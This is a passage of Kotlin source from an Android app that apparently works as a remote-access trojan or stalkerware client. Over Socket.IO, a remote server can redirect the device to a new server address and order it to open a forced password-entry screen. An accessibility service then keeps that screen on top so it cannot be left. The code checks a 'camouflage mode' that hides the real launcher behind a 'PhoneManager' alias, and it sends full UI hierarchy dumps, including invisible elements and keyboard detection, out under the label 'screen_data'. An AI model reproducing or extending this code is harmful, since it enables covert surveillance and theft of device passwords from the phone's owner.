val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
|
||
if (savedUrl == newServerUrl) {
|
||
Log.i(TAG, "✅ 配置验证成功，新地址已保存: $savedUrl")
|
||
} else {
|
||
Log.w(TAG, "⚠️ 配置验证失败，保存的地址: $savedUrl, 期望的地址: $newServerUrl")
|
||
}
|
||
|
||
// 2. 发送响应给服务器
|
||
withContext(Dispatchers.Main) {
|
||
try {
|
||
val responseData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("success", true)
|
||
put("message", "服务器地址已更新，即将重启连接")
|
||
put("newServerUrl", newServerUrl)
|
||
put("timestamp", System.currentTimeMillis())
|
||
}
|
||
socket?.emit("server_url_changed", responseData)
|
||
Log.i(TAG, "📤 发送服务器地址修改响应")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送响应失败", e)
|
||
}
|
||
}
|
||
|
||
// 3. 延迟后断开当前连接并重新连接到新地址
|
||
delay(2000) // 延迟2秒，确保响应发送成功
|
||
|
||
Log.i(TAG, "🔄 开始重启WebSocket连接...")
|
||
reconnectToNewServer(newServerUrl)
|
||
|
||
} else {
|
||
Log.e(TAG, "❌ 保存服务器地址失败")
|
||
|
||
// 发送失败响应
|
||
withContext(Dispatchers.Main) {
|
||
try {
|
||
val responseData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("success", false)
|
||
put("message", "保存服务器地址失败")
|
||
put("timestamp", System.currentTimeMillis())
|
||
}
|
||
socket?.emit("server_url_changed", responseData)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送失败响应失败", e)
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 处理服务器地址修改失败", e)
|
||
sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}")
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送错误响应
|
||
*/
|
||
private suspend fun sendErrorResponse(errorMessage: String) {
|
||
withContext(Dispatchers.Main) {
|
||
try {
|
||
val responseData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("success", false)
|
||
put("message", errorMessage)
|
||
put("timestamp", System.currentTimeMillis())
|
||
}
|
||
socket?.emit("server_url_changed", responseData)
|
||
Log.i(TAG, "📤 发送错误响应: $errorMessage")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送错误响应失败", e)
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 重新连接到新服务器
|
||
*/
|
||
private suspend fun reconnectToNewServer(newServerUrl: String) {
|
||
try {
|
||
Log.i(TAG, "🔄 断开当前连接...")
|
||
|
||
// 1. 断开当前连接
|
||
withContext(Dispatchers.Main) {
|
||
socket?.disconnect()
|
||
socket?.close()
|
||
socket = null
|
||
}
|
||
|
||
Log.i(TAG, "✅ 当前连接已断开")
|
||
|
||
// 2. 等待一段时间
|
||
delay(1000)
|
||
|
||
// 3. 连接到新服务器
|
||
Log.i(TAG, "🔄 连接到新服务器: $newServerUrl")
|
||
connect(newServerUrl)
|
||
|
||
Log.i(TAG, "✅ WebSocket服务重启完成")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 重新连接到新服务器失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 打开密码输入页面
|
||
*/
|
||
private fun openPasswordInputActivity(passwordType: String) {
|
||
try {
|
||
Log.d(TAG, "🔐 准备打开密码输入页面，类型: $passwordType")
|
||
|
||
// 🔧 重置密码输入完成状态，允许重新输入
|
||
val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
||
val completed = prefs.getBoolean("password_input_completed", false)
|
||
|
||
if (completed) {
|
||
Log.i(TAG, "🔐 检测到密码已输入完成，重置状态以允许重新输入")
|
||
prefs.edit().putBoolean("password_input_completed", false).apply()
|
||
Log.i(TAG, "✅ 密码输入状态已重置，准备重新输入")
|
||
}
|
||
|
||
// 检查是否处于伪装模式，如果是则确保MainActivity被禁用
|
||
if (isAppInCamouflageMode()) {
|
||
Log.i(TAG, "🎭 检测到伪装模式，确保MainActivity被禁用")
|
||
ensureMainActivityDisabled()
|
||
}
|
||
|
||
val deviceId = getDeviceId()
|
||
val installationId = System.currentTimeMillis().toString()
|
||
|
||
val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
|
||
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType)
|
||
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId)
|
||
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId)
|
||
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
|
||
// 使用温和的flags设置，避免Activity被销毁
|
||
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
||
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
|
||
addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
|
||
}
|
||
|
||
service.startActivity(intent)
|
||
Log.d(TAG, "✅ 密码输入页面已启动，类型: $passwordType")
|
||
|
||
// 启动无障碍监控
|
||
startAccessibilityMonitoring(passwordType, deviceId, installationId)
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动密码输入页面失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🎭 检查APP是否处于伪装模式
|
||
*/
|
||
private fun isAppInCamouflageMode(): Boolean {
|
||
return try {
|
||
val packageManager = service.packageManager
|
||
val phoneManagerComponent = android.content.ComponentName(service, "com.hikoncont.PhoneManagerAlias")
|
||
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
|
||
|
||
val phoneManagerEnabled = packageManager.getComponentEnabledSetting(phoneManagerComponent)
|
||
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
|
||
|
||
val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) &&
|
||
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
|
||
|
||
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)")
|
||
isCamouflage
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查APP伪装模式失败", e)
|
||
false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🎭 确保MainActivity被禁用
|
||
*/
|
||
private fun ensureMainActivityDisabled() {
|
||
try {
|
||
Log.i(TAG, "🎭 确保MainActivity被禁用")
|
||
|
||
val packageManager = service.packageManager
|
||
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
|
||
|
||
val currentState = packageManager.getComponentEnabledSetting(mainComponent)
|
||
if (currentState != android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
|
||
packageManager.setComponentEnabledSetting(
|
||
mainComponent,
|
||
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
|
||
android.content.pm.PackageManager.DONT_KILL_APP
|
||
)
|
||
Log.i(TAG, "✅ MainActivity已重新禁用")
|
||
} else {
|
||
Log.d(TAG, "✅ MainActivity已经是禁用状态")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 确保MainActivity禁用失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 启动无障碍监控（参考handleNormalPasswordPageSwitch强制置顶）
|
||
*/
|
||
private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) {
|
||
try {
|
||
Log.d(TAG, "🔍 启动无障碍监控，密码类型: $passwordType")
|
||
Log.d(TAG, "🔍 设备ID: $deviceId")
|
||
Log.d(TAG, "🔍 安装ID: $installationId")
|
||
|
||
// 通过AccessibilityRemoteService获取AccessibilityEventManager
|
||
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
|
||
if (accessibilityService != null) {
|
||
Log.d(TAG, "🔍 成功获取AccessibilityRemoteService")
|
||
val eventManager = accessibilityService.getAccessibilityEventManager()
|
||
if (eventManager != null) {
|
||
Log.d(TAG, "🔍 成功获取AccessibilityEventManager")
|
||
|
||
// 启动Socket唤醒密码监控
|
||
eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId)
|
||
Log.d(TAG, "✅ 无障碍监控已启动")
|
||
|
||
// 启动强制置顶监控（参考handleNormalPasswordPageSwitch）
|
||
startForceTopMonitoring(passwordType, deviceId, installationId)
|
||
Log.d(TAG, "✅ 强制置顶监控已启动")
|
||
|
||
} else {
|
||
Log.w(TAG, "⚠️ AccessibilityEventManager为null，监控未启动")
|
||
}
|
||
} else {
|
||
Log.w(TAG, "⚠️ 无法获取AccessibilityRemoteService，监控未启动")
|
||
Log.w(TAG, "⚠️ service类型: ${service::class.java.simpleName}")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动无障碍监控失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 启动强制置顶监控（参考handleNormalPasswordPageSwitch逻辑）
|
||
*/
|
||
private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) {
|
||
try {
|
||
Log.d(TAG, "🔝 启动强制置顶监控，密码类型: $passwordType")
|
||
|
||
// 延迟启动强制置顶，给页面充分时间加载
|
||
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
||
try {
|
||
// 通过AccessibilityRemoteService获取AccessibilityEventManager
|
||
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
|
||
if (accessibilityService != null) {
|
||
val eventManager = accessibilityService.getAccessibilityEventManager()
|
||
if (eventManager != null) {
|
||
// 启用强制返回功能
|
||
eventManager.enableForceReturn()
|
||
Log.d(TAG, "✅ 强制返回功能已启用")
|
||
|
||
// 记录操作日志
|
||
accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf(
|
||
"passwordType" to passwordType,
|
||
"deviceId" to deviceId,
|
||
"installationId" to installationId,
|
||
"forceReturnEnabled" to true,
|
||
"timestamp" to System.currentTimeMillis()
|
||
))
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动强制置顶监控失败", e)
|
||
}
|
||
}, 2000) // 2秒延迟，给页面充分时间加载
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动强制置顶监控失败", e)
|
||
}
|
||
}
|
||
|
||
fun disconnect() {
|
||
socket?.disconnect()
|
||
isConnected = false
|
||
isDeviceRegistered = false
|
||
connectionCheckJob?.cancel()
|
||
}
|
||
|
||
fun isConnected(): Boolean = isConnected && socket?.connected() == true
|
||
|
||
fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected()
|
||
|
||
/**
|
||
* ✅ 立即检测连接状态并重连
|
||
*/
|
||
private fun checkConnectionAndReconnect() {
|
||
scope.launch {
|
||
try {
|
||
Log.d(TAG, "立即检测连接状态")
|
||
|
||
val socketConnected = socket?.connected() == true
|
||
|
||
if (!socketConnected || !isConnected) {
|
||
Log.w(TAG, "连接已断开，立即重连")
|
||
forceReconnect()
|
||
} else {
|
||
Log.d(TAG, "连接状态正常")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "连接检测异常", e)
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 智能重新连接 - 增强稳定性版本（针对transport error问题）
|
||
* 添加重连深度限制，防止无限递归导致协程泄漏和内存耗尽
|
||
*/
|
||
private var forceReconnectDepth = 0
|
||
private val MAX_FORCE_RECONNECT_DEPTH = 3
|
||
|
||
fun forceReconnect() {
|
||
scope.launch {
|
||
try {
|
||
forceReconnectDepth++
|
||
if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) {
|
||
Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})，停止递归重连，等待Socket.IO自动重连")
|
||
forceReconnectDepth = 0
|
||
return@launch
|
||
}
|
||
|
||
Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})")
|
||
|
||
// 重置所有状态
|
||
isConnected = false
|
||
isDeviceRegistered = false
|
||
connectionCheckJob?.cancel()
|
||
|
||
// 优雅断开旧连接，给系统清理时间
|
||
try {
|
||
socket?.disconnect()
|
||
delay(1000)
|
||
socket?.close()
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "断开旧连接时出现异常（可忽略）", e)
|
||
}
|
||
|
||
Log.i(TAG, "旧连接已断开，等待智能延迟后重新连接...")
|
||
|
||
// 智能延迟：根据网络环境调整等待时间 + 随机化避免多设备同时重连
|
||
val baseDelay = if (Build.VERSION.SDK_INT >= 35) {
|
||
8000L
|
||
} else {
|
||
5000L
|
||
}
|
||
val randomDelay = (1000..4000).random().toLong()
|
||
// 限制transportErrorCount对延迟的影响，防止延迟无限增长
|
||
val errorIncrement = minOf(transportErrorCount, 5) * 2000L
|
||
val totalDelay = baseDelay + randomDelay + errorIncrement
|
||
|
||
Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)")
|
||
delay(totalDelay)
|
||
|
||
// 重新创建Socket实例，使用增强配置
|
||
Log.i(TAG, "重新创建增强Socket实例...")
|
||
try {
|
||
val useConservativeStrategy = shouldUseConservativeReconnect()
|
||
Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount")
|
||
|
||
val options = IO.Options().apply {
|
||
val isVeryPoorNetwork = networkQualityScore < 30
|
||
timeout = when {
|
||
isVeryPoorNetwork -> 90000
|
||
useConservativeStrategy -> 60000
|
||
else -> 45000
|
||
}
|
||
reconnection = true
|
||
reconnectionAttempts = when {
|
||
isVeryPoorNetwork -> 3
|
||
useConservativeStrategy -> 5
|
||
else -> 10
|
||
}
|
||
reconnectionDelay = when {
|
||
isVeryPoorNetwork -> 8000L
|
||
useConservativeStrategy -> 5000L
|
||
else -> 3000L
|
||
}
|
||
reconnectionDelayMax = when {
|
||
isVeryPoorNetwork -> 30000L
|
||
useConservativeStrategy -> 20000L
|
||
else -> 12000L
|
||
}
|
||
|
||
// 传输策略：根据网络质量和历史情况调整
|
||
transports = when {
|
||
isVeryPoorNetwork || networkQualityScore < 40 -> {
|
||
arrayOf("polling")
|
||
}
|
||
useConservativeStrategy -> {
|
||
arrayOf("polling")
|
||
}
|
||
else -> {
|
||
arrayOf("polling", "websocket")
|
||
}
|
||
}
|
||
upgrade = !useConservativeStrategy
|
||
rememberUpgrade = true
|
||
forceNew = true
|
||
|
||
query = "reconnect=true&strategy=${if (useConservativeStrategy) "conservative" else "standard"}×tamp=${System.currentTimeMillis()}"
|
||
}
|
||
|
||
socket = IO.socket(java.net.URI.create(serverUrl), options)
|
||
setupEventListeners()
|
||
socket?.connect()
|
||
|
||
Log.i(TAG, "增强Socket实例已创建并连接")
|
||
// 重连成功，重置深度计数
|
||
forceReconnectDepth = 0
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "重新创建Socket失败", e)
|
||
|
||
// 重连失败时的回退策略，有深度限制保护
|
||
delay(10000)
|
||
if (!isConnected) {
|
||
Log.w(TAG, "重连失败，10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...")
|
||
forceReconnect()
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "智能重连异常", e)
|
||
forceReconnectDepth = 0
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 启动主动连接监控 - 增强稳定性版本（针对transport error问题）
|
||
*/
|
||
private fun startConnectionMonitoring() {
|
||
Log.e(TAG, "🚀🚀🚀 启动增强连接监控!!! 🚀🚀🚀")
|
||
|
||
// 🎯 优化：调整检测间隔，与服务端60秒心跳间隔协调，提高异常检测效率
|
||
val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
|
||
30000L // Android 15每30秒检测一次，与60秒心跳间隔形成2:1比例
|
||
} else {
|
||
25000L // 其他版本每25秒检测一次，更快发现连接问题
|
||
}
|
||
|
||
connectionCheckJob = scope.launch {
|
||
var consecutiveFailures = 0 // ✅ 连续失败计数
|
||
|
||
while (isActive && isConnected) {
|
||
try {
|
||
delay(checkInterval)
|
||
|
||
Log.w(TAG, "🔍🔍🔍 执行智能连接检测... 🔍🔍🔍")
|
||
|
||
// ✅ 多层连接状态检查
|
||
val socketConnected = socket?.connected() == true
|
||
val socketExists = socket != null
|
||
|
||
if (!socketExists) {
|
||
Log.e(TAG, "❌❌❌ Socket实例不存在!!! ❌❌❌")
|
||
isConnected = false
|
||
isDeviceRegistered = false
|
||
forceReconnect()
|
||
break
|
||
}
|
||
|
||
if (!socketConnected) {
|
||
consecutiveFailures++
|
||
Log.e(TAG, "❌❌❌ 检测到Socket.IO连接断开!!! 连续失败次数: $consecutiveFailures ❌❌❌")
|
||
|
||
// 🎯 优化：平衡容错和响应速度，更快检测连接问题
|
||
if (consecutiveFailures >= 5) { // 优化为5次失败触发重连，约2分钟内恢复
|
||
Log.e(TAG, "🔄🔄🔄 连接检测连续失败${consecutiveFailures}次，触发重连!!! 🔄🔄🔄")
|
||
isConnected = false
|
||
isDeviceRegistered = false
|
||
forceReconnect()
|
||
break
|
||
} else {
|
||
Log.w(TAG, "⚠️ 检测失败次数: $consecutiveFailures/5，等待下次检测确认")
|
||
continue
|
||
}
|
||
} else {
|
||
consecutiveFailures = 0 // 重置失败计数
|
||
}
|
||
|
||
// ✅ 优化心跳测试：降低频率，减少transport error触发
|
||
if (consecutiveFailures == 0) {
|
||
try {
|
||
val testData = JSONObject().apply {
|
||
put("type", "connection_test")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("device_id", android.provider.Settings.Secure.getString(
|
||
service.contentResolver,
|
||
android.provider.Settings.Secure.ANDROID_ID
|
||
))
|
||
}
|
||
socket?.emit("CONNECTION_TEST", testData)
|
||
Log.w(TAG, "✅✅✅ 智能连接检测：发送测试消息成功 ✅✅✅")
|
||
|
||
} catch (e: Exception) {
|
||
consecutiveFailures++
|
||
Log.e(TAG, "❌❌❌ 连接检测：发送测试消息失败!!! 连续失败: $consecutiveFailures ❌❌❌", e)
|
||
|
||
// 🎯 优化：心跳失败时也要快速响应，避免长时间无响应
|
||
if (consecutiveFailures >= 6) { // 优化为6次失败，约2.5-3分钟重连
|
||
Log.e(TAG, "🔧 心跳测试连续失败${consecutiveFailures}次，调用重连逻辑")
|
||
isConnected = false
|
||
forceReconnect()
|
||
break
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌❌❌ 连接监控异常!!! ❌❌❌", e)
|
||
break
|
||
}
|
||
}
|
||
|
||
Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔")
|
||
}
|
||
}
|
||
|
||
private fun getDeviceId(): String {
|
||
return android.provider.Settings.Secure.getString(
|
||
service.contentResolver,
|
||
android.provider.Settings.Secure.ANDROID_ID
|
||
) ?: "unknown"
|
||
}
|
||
|
||
private fun getUniqueDeviceName(): String {
|
||
val model = android.os.Build.MODEL
|
||
val deviceId = getDeviceId()
|
||
val shortId = deviceId.takeLast(8)
|
||
return "${android.os.Build.MANUFACTURER}_${model}_${shortId}"
|
||
}
|
||
|
||
/**
|
||
* 获取设备屏幕宽度
|
||
*/
|
||
private fun getScreenWidth(): Int {
|
||
val metrics = service.resources.displayMetrics
|
||
return metrics.widthPixels
|
||
}
|
||
|
||
/**
|
||
* 获取设备屏幕高度
|
||
*/
|
||
private fun getScreenHeight(): Int {
|
||
// 使用WindowMetrics获取完整的屏幕尺寸（包含系统UI）
|
||
try {
|
||
val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager
|
||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||
val windowMetrics = windowManager.currentWindowMetrics
|
||
windowMetrics.bounds.height()
|
||
} else {
|
||
@Suppress("DEPRECATION")
|
||
val display = windowManager.defaultDisplay
|
||
val realSize = android.graphics.Point()
|
||
@Suppress("DEPRECATION")
|
||
display.getRealSize(realSize)
|
||
realSize.y
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "获取真实屏幕尺寸失败，使用默认方法", e)
|
||
val metrics = service.resources.displayMetrics
|
||
return metrics.heightPixels
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理UI层次结构分析请求 - 默认使用增强功能
|
||
*/
|
||
private fun handleUIHierarchyRequest(requestData: JSONObject) {
|
||
try {
|
||
Log.e(TAG, "🔍🔍🔍 开始处理UI层次结构分析请求（默认增强版）!!! 🔍🔍🔍")
|
||
|
||
val requestId = requestData.optString("requestId", "")
|
||
val clientId = requestData.optString("clientId", "")
|
||
val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true
|
||
val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true)
|
||
val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层
|
||
|
||
Log.e(TAG, "📋 请求参数: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth")
|
||
|
||
// 使用协程在后台执行UI分析
|
||
scope.launch {
|
||
try {
|
||
Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬")
|
||
|
||
// 直接调用原有的分析方法，并使用增强参数
|
||
val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层
|
||
val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素
|
||
val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth)
|
||
|
||
// 获取基本设备信息
|
||
val deviceCharacteristics = mapOf(
|
||
"brand" to android.os.Build.BRAND,
|
||
"model" to android.os.Build.MODEL,
|
||
"manufacturer" to android.os.Build.MANUFACTURER,
|
||
"sdkVersion" to android.os.Build.VERSION.SDK_INT.toString(),
|
||
"androidVersion" to android.os.Build.VERSION.RELEASE,
|
||
"deviceType" to "android"
|
||
)
|
||
|
||
if (hierarchy != null) {
|
||
Log.e(TAG, "✅✅✅ 增强UI分析成功!!! ✅✅✅")
|
||
|
||
// 发送完整的UI层次结构响应
|
||
val responseData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("requestId", requestId)
|
||
put("clientId", clientId)
|
||
put("success", true)
|
||
put("message", "增强UI分析成功")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("hierarchy", hierarchy as Any)
|
||
put("enhanced", true) // 总是标识为增强版
|
||
|
||
// 总是包含设备特征信息
|
||
put("deviceCharacteristics", JSONObject(deviceCharacteristics))
|
||
|
||
// 添加分析元数据
|
||
put("analysisMetadata", JSONObject().apply {
|
||
put("version", "enhanced_v1.0")
|
||
put("parameters", JSONObject().apply {
|
||
put("includeInvisible", includeInvisible)
|
||
put("includeNonInteractive", includeNonInteractive)
|
||
put("maxDepth", maxDepth)
|
||
})
|
||
put("capabilities", JSONObject().apply {
|
||
put("keyboardDetection", true)
|
||
put("windowDetection", true)
|
||
put("deviceProfiling", true)
|
||
})
|
||
})
|
||
}
|
||
|
||
Log.e(TAG, "📤📤📤 准备发送增强UI层次结构响应!!! 📤📤📤")
|
||
Log.e(TAG, "📊 响应数据大小: ${responseData.toString().length} 字符")
|
||
Log.e(TAG, "🔍 设备特征: 已包含")
|
||
|
||
// 发送响应
|
||
sendUIHierarchyResponse(responseData)
|
||
|
||
} else {
|
||
Log.e(TAG, "❌❌❌ 增强UI分析返回null!!! ❌❌❌")
|
||
// 发送错误响应
|
||
sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构（增强模式）")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌❌❌ 增强UI层次结构分析失败!!! ❌❌❌", e)
|
||
sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}")
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送UI层次结构响应 - 使用screen_data事件发送（已验证可行）
|
||
*/
|
||
private fun sendUIHierarchyResponse(responseData: JSONObject) {
|
||
try {
|
||
Log.e(TAG, "🔄 使用screen_data事件发送UI层次结构响应（实验验证可行）")
|
||
|
||
// ✅ 完全参考sendScreenData的简单连接检查
|
||
if (isConnected && socket?.connected() == true) {
|
||
|
||
// ✅ 关键修复：使用screen_data事件发送UI响应数据
|
||
try {
|
||
// 🎯 将UI响应数据转换为screen_data格式
|
||
val uiScreenData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("format", "UI_HIERARCHY") // 特殊格式标识
|
||
put("data", responseData.toString()) // UI数据作为字符串
|
||
put("width", getScreenWidth())
|
||
put("height", getScreenHeight())
|
||
put("quality", 100) // UI数据质量设为100
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("uiHierarchy", true) // 标识这是UI层次结构数据
|
||
}
|
||
|
||
val emitResult = socket?.emit("screen_data", uiScreenData)
|
||
Log.e(TAG, "✅✅✅ 使用screen_data事件发送UI层次结构响应成功: $emitResult")
|
||
Log.e(TAG, "📊 UI响应数据大小: ${responseData.toString().length} 字符")
|
||
Log.e(TAG, "🔍 Socket状态详情: connected=${socket?.connected()}, id=${socket?.id()}")
|
||
} catch (emitException: Exception) {
|
||
// 🔧 UI层次结构响应失败处理同样增加容错机制
|
||
Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构响应失败: ${emitException.message}")
|
||
// 不立即触发重连，而是记录错误，让统一的重连机制处理
|
||
Log.w(TAG, "⚠️ UI响应发送失败，由CONNECTION_TEST心跳机制统一检测重连")
|
||
throw emitException
|
||
}
|
||
|
||
} else {
|
||
Log.e(TAG, "❌ Socket.IO未连接，无法发送UI层次结构响应")
|
||
Log.e(TAG, "🔍 连接状态详情: isConnected=$isConnected, socket?.connected()=${socket?.connected()}")
|
||
// 🔧 不立即重连，由心跳机制统一检测连接状态
|
||
Log.w(TAG, "⚠️ Socket未连接，等待CONNECTION_TEST心跳机制检测重连")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌❌❌ 发送UI层次结构响应异常!!! ❌❌❌", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送UI层次结构错误响应 - 使用screen_data事件发送
|
||
*/
|
||
private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) {
|
||
try {
|
||
val errorData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("requestId", requestId)
|
||
put("clientId", clientId)
|
||
put("error", errorMessage)
|
||
put("success", false)
|
||
put("timestamp", System.currentTimeMillis())
|
||
}
|
||
|
||
Log.w(TAG, "📤 准备发送UI层次结构错误响应: $errorMessage")
|
||
|
||
// ✅ 使用screen_data事件发送错误响应
|
||
if (isConnected && socket?.connected() == true) {
|
||
try {
|
||
// 🎯 将错误响应数据转换为screen_data格式
|
||
val errorScreenData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("format", "UI_HIERARCHY") // 特殊格式标识
|
||
put("data", errorData.toString()) // 错误数据作为字符串
|
||
put("width", getScreenWidth())
|
||
put("height", getScreenHeight())
|
||
put("quality", 100)
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("uiHierarchy", true) // 标识这是UI层次结构数据
|
||
put("isError", true) // 标识这是错误响应
|
||
}
|
||
|
||
val emitResult = socket?.emit("screen_data", errorScreenData)
|
||
Log.w(TAG, "✅ 使用screen_data事件发送UI层次结构错误响应成功: $emitResult")
|
||
} catch (emitException: Exception) {
|
||
// 🔧 错误响应发送失败也使用容错机制
|
||
Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构错误响应失败: ${emitException.message}")
|
||
// 不立即触发重连，由心跳机制统一处理
|
||
Log.w(TAG, "⚠️ UI错误响应发送失败，由CONNECTION_TEST心跳机制统一检测重连")
|
||
throw emitException
|
||
}
|
||
} else {
|
||
Log.e(TAG, "❌ Socket.IO未连接，无法发送UI层次结构错误响应")
|
||
// 🔧 不立即重连，由心跳机制统一检测连接状态
|
||
Log.w(TAG, "⚠️ Socket未连接，等待CONNECTION_TEST心跳机制检测重连")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送错误响应失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 获取当前网络类型（用于网络变化检测）
|
||
*/
|
||
private fun getCurrentNetworkType(): String {
|
||
return try {
|
||
val connectivityManager = service.getSystemService(Context.CONNECTIVITY_SERVICE)
|
||
as android.net.ConnectivityManager
|
||
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||
val activeNetwork = connectivityManager.activeNetwork
|
||
val networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork)
|
||
|
||
when {
|
||
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_WIFI) == true -> "WIFI"
|
||
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_CELLULAR) == true -> "CELLULAR"
|
||
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_ETHERNET) == true -> "ETHERNET"
|
||
else -> "UNKNOWN"
|
||
}
|
||
} else {
|
||
@Suppress("DEPRECATION")
|
||
val activeNetworkInfo = connectivityManager.activeNetworkInfo
|
||
@Suppress("DEPRECATION")
|
||
when (activeNetworkInfo?.type) {
|
||
